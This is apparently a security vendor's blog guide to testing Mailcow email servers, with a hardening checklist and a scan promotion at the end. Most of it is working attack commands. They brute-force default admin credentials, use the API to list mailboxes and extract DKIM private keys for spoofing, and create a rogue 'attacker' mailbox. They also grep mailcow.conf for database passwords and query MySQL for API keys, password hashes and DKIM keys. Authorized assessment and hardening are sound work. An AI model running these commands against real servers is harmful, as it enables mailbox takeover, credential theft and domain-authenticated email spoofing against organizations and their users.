Email Server Security Testing

Mailcow Security Testing: Default Credentials, API Key, Database, and .env DBPASS

📅 July 3, 2026 ⏱ 11 min read 🏷 Mailcow, Email Server Security, Default Credentials, API Key, DKIM Private Key, MySQL, SOGo, mailcow.conf, Mailbox Access, SMTP Relay

Mailcow is a widely deployed open-source Docker-based email server suite (mailcow-dockerized) — it provides a complete email infrastructure including Postfix (SMTP), Dovecot (IMAP), SOGo (webmail), Rspamd (anti-spam), and a web admin panel. Key assessment areas: admin/moerigy are the documented default credentials unchanged in many deployments; the REST API provides complete mailbox and domain management; DKIM private keys can be extracted via API enabling email spoofing; MySQL stores all mailbox configurations and credentials; and mailcow.conf contains all database and Redis credentials in plaintext. Compromise of Mailcow yields access to all organizational email, enables SMTP relay abuse, and allows DKIM-signed email spoofing. This guide covers systematic Mailcow security assessment.

Default Credentials and API Key Testing
API Mailbox, Domain, and DKIM Key Enumeration
mailcow.conf Credentials and MySQL Extraction
Mailcow Security Hardening

Default Credentials and API Key Testing

# Mailcow — default credentials and API key testing
MAILCOW_URL="https://mail.example.com"

# Test documented default credentials (admin/moerigy)
for CRED in "admin:moerigy" "admin:admin" "admin:password"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  AUTH=$(curl -s -X POST "${MAILCOW_URL}/api/v1/add/api-key" \
    -H "Content-Type: application/json" \
    -u "${USER}:${PASS}" \
    -d '{"comment":"test"}' 2>/dev/null)
  echo "${USER}/${PASS}: $(echo $AUTH | head -c 80)"
done

# Check admin panel login
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MAILCOW_URL}/admin" 2>/dev/null)
echo "Admin panel HTTP: ${STATUS}"

# API key from mailcow.conf or admin panel
API_KEY="your-mailcow-api-key"

# Test API key read access
curl -s "${MAILCOW_URL}/api/v1/get/mailbox/all" \
  -H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
mailboxes = d if isinstance(d,list) else []
print(f'Mailboxes: {len(mailboxes)}')
for mb in mailboxes[:5]:
    print(f'  {mb.get(\"username\")} quota={mb.get(\"quota\")}MB active={mb.get(\"active\")}')
" 2>/dev/null

# SOGo webmail — test with mailbox credentials
MAILBOX="user@example.com"
MAILBOX_PASS="password"
curl -s -c /tmp/sogo_cookie.txt -X POST "${MAILCOW_URL}/SOGo/connect" \
  -H "Content-Type: application/json" \
  -d "{\"userName\":\"${MAILBOX}\",\"password\":\"${MAILBOX_PASS}\",\"rememberLogin\":false}" 2>/dev/null | head -c 200

API Mailbox, Domain, and DKIM Key Enumeration

# Mailcow API — mailbox, domain, and DKIM key enumeration
MAILCOW_URL="https://mail.example.com"
API_KEY="your-mailcow-api-key"

# Get all mailboxes across all domains
curl -s "${MAILCOW_URL}/api/v1/get/mailbox/all" \
  -H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
mailboxes = d if isinstance(d,list) else []
print(f'Mailboxes: {len(mailboxes)}')
for mb in mailboxes[:20]:
    print(f'  {mb.get(\"username\")} name={mb.get(\"name\")} quota={mb.get(\"quota\")}MB active={mb.get(\"active\")} messages={mb.get(\"messages\")}')
" 2>/dev/null

# Get all domains
curl -s "${MAILCOW_URL}/api/v1/get/domain/all" \
  -H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
domains = d if isinstance(d,list) else []
print(f'Domains: {len(domains)}')
for dom in domains[:10]:
    print(f'  {dom.get(\"domain_name\")} mailboxes={dom.get(\"mboxes_in_domain\")} active={dom.get(\"active\")}')
" 2>/dev/null

# CRITICAL: Extract DKIM private key — enables cryptographically valid email spoofing
# for any domain hosted on the Mailcow server
DOMAIN="example.com"
curl -s "${MAILCOW_URL}/api/v1/get/dkim/${DOMAIN}" \
  -H "X-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
private_key = d.get('dkim_private_key','') or d.get('priv_key','')
pub_txt = d.get('dkim_txt','') or d.get('pub_key','')
if private_key:
    print(f'DKIM PRIVATE KEY EXTRACTED for {\"${DOMAIN}\"}:')
    print(private_key[:100])
    print('WARNING: Can send DKIM-signed spoofed email as any address @${DOMAIN}')
" 2>/dev/null

# Create a new mailbox (pivot to full email access)
curl -s -X POST "${MAILCOW_URL}/api/v1/add/mailbox" \
  -H "X-API-Key: ${API_KEY}" \
  -H "Content-Type: application/json" \
  -d '{
    "local_part": "attacker",
    "domain": "example.com",
    "password": "AttackerPass123!",
    "password2": "AttackerPass123!",
    "quota": 3072,
    "active": "1"
  }' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Mailbox create: {str(d)[:80]}')
" 2>/dev/null

mailcow.conf Credentials and MySQL Extraction

# Mailcow mailcow.conf credentials and MySQL extraction

# mailcow.conf — Mailcow main configuration (plaintext credentials)
cat /opt/mailcow-dockerized/mailcow.conf 2>/dev/null | grep -E "DBPASS|DBROOT|REDISPASS|API_KEY|MAILCOW_PASS"
# DBPASS — MySQL mailcow user password
# DBROOT — MySQL root password
# REDISPASS — Redis authentication password
# These are all stored in plaintext in mailcow.conf

# API keys stored in MySQL
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
-- Admin API keys
SELECT id, api_key, comment, created, last_used, scope
FROM api;
EOF
-- API keys stored in plaintext

# All mailboxes with hashed credentials
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
SELECT username, name, quota, active, messages,
       password  -- bcrypt hash of mailbox password
FROM mailbox
ORDER BY active DESC, username;
EOF

# All mail aliases
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
SELECT address, goto, active
FROM alias
ORDER BY address;
EOF

# DKIM keys stored in MySQL
docker exec mailcowdockerized-mysql-mailcow-1 mysql -u root -p"$DBROOT" mailcow 2>/dev/null << 'EOF'
SELECT domain, selector,
       private_key,  -- PLAINTEXT RSA private key for each domain!
       public_key
FROM dkim;
EOF
-- DKIM private keys stored in plaintext MySQL — extract for email spoofing

Mailcow Security Hardening

Mailcow Security Hardening Checklist:

Change default admin credentials immediately — admin/moerigy are the documented Mailcow defaults that an attacker will always try first; change both the username and password to strong unique values during initial setup; the admin password can be reset via the Mailcow management script (mailcow-setup.sh) or via the MySQL database; if admin/moerigy was ever exposed, rotate all API keys and treat all hosted email accounts as potentially compromised; implement two-factor authentication for admin accounts via the TOTP feature in Mailcow UI; restrict admin panel access to internal IPs via the Mailcow panel's own IP block controls or a reverse proxy
Treat DKIM private keys as critical signing credentials — Mailcow stores DKIM private keys in plaintext in the MySQL database (dkim table) and returns them via the API at /api/v1/get/dkim/{domain}; a compromised Mailcow admin account or API key enables extracting DKIM private keys for all hosted domains; with a DKIM private key, an attacker can send cryptographically valid DKIM-signed emails appearing to originate from any address on the hosted domain, bypassing email authentication checks; rotate DKIM keys immediately if a compromise is suspected; limit API key permissions to read-only scope where full admin access is not required
Protect mailcow.conf and restrict API key scope — mailcow.conf is a plaintext configuration file containing DBPASS, DBROOT, and REDISPASS — these credentials provide full access to all Mailcow data; restrict file permissions to 600 owned by root; never commit mailcow.conf to version control; Mailcow API keys are stored in plaintext in the MySQL api table — audit API keys regularly and revoke unused ones; API keys have scope (read-only vs read-write) — use read-only API keys for monitoring integrations that do not require management access; rotate API keys on a regular schedule
Secure SOGo webmail and monitor for unauthorized email access — SOGo webmail provides direct access to all mailboxes including email, calendar, and contacts; restrict SOGo to internal networks if webmail is not required for remote access; implement rate limiting on SOGo authentication to prevent credential stuffing against individual mailboxes; monitor for unusual mailbox access patterns such as bulk email downloads (IMAP) or mass calendar access; Dovecot IMAP access logs are available via docker logs — implement log aggregation and alerting for suspicious access patterns
Implement regular backups and monitor SMTP relay for abuse — Mailcow includes a complete SMTP relay (Postfix) that can be abused if admin credentials or an API key is compromised to create new mailboxes; monitor outbound email volume for unusual spikes indicating spam relay abuse; configure Rspamd rate limiting to prevent outbound spam; implement SPF strictly (hard fail ~all or -all) and monitor DMARC reports for spoofing attempts; backup Mailcow data regularly including the MySQL database and mail storage volume; test backup restoration procedures

Security Test	Method	Risk
Default admin/moerigy credential access	POST to admin login with admin/moerigy — documented default; full admin access to all mailboxes, domains, API keys, and DKIM private keys; DKIM key extraction enables spoofed email from all hosted domains	Critical
DKIM private key extraction via API	GET /api/v1/get/dkim/{domain} with valid API key — DKIM RSA private key for each domain; enables sending cryptographically valid DKIM-signed spoofed emails bypassing email authentication	Critical
MySQL DKIM table plaintext key extraction	SELECT private_key FROM dkim — all DKIM private keys stored in plaintext; complete email spoofing capability for all hosted domains with database access	Critical
mailcow.conf plaintext credential extraction	Read /opt/mailcow-dockerized/mailcow.conf — DBPASS, DBROOT, REDISPASS all in plaintext; single file yields all database and Redis credentials	Critical
Mailbox creation via API for IMAP/SMTP access	POST /api/v1/add/mailbox — create new mailbox on hosted domain; access organizational email via IMAP; send mail from legitimate domain address via SMTP	High

Automate Mailcow Security Testing

Ironimo tests Mailcow deployments for default admin/moerigy credential access, DKIM private key extraction via API (enabling cryptographically valid email spoofing), MySQL DKIM table plaintext key extraction, mailcow.conf credential enumeration (DBPASS/DBROOT/REDISPASS), API key plaintext extraction from MySQL api table, unauthorized mailbox creation, SOGo webmail authentication testing, SMTP relay open relay testing, Rspamd bypass assessment, and Dovecot IMAP access control evaluation.

Start free scan

Table of Contents

Default Credentials and API Key Testing

API Mailbox, Domain, and DKIM Key Enumeration

mailcow.conf Credentials and MySQL Extraction

Mailcow Security Hardening

Automate Mailcow Security Testing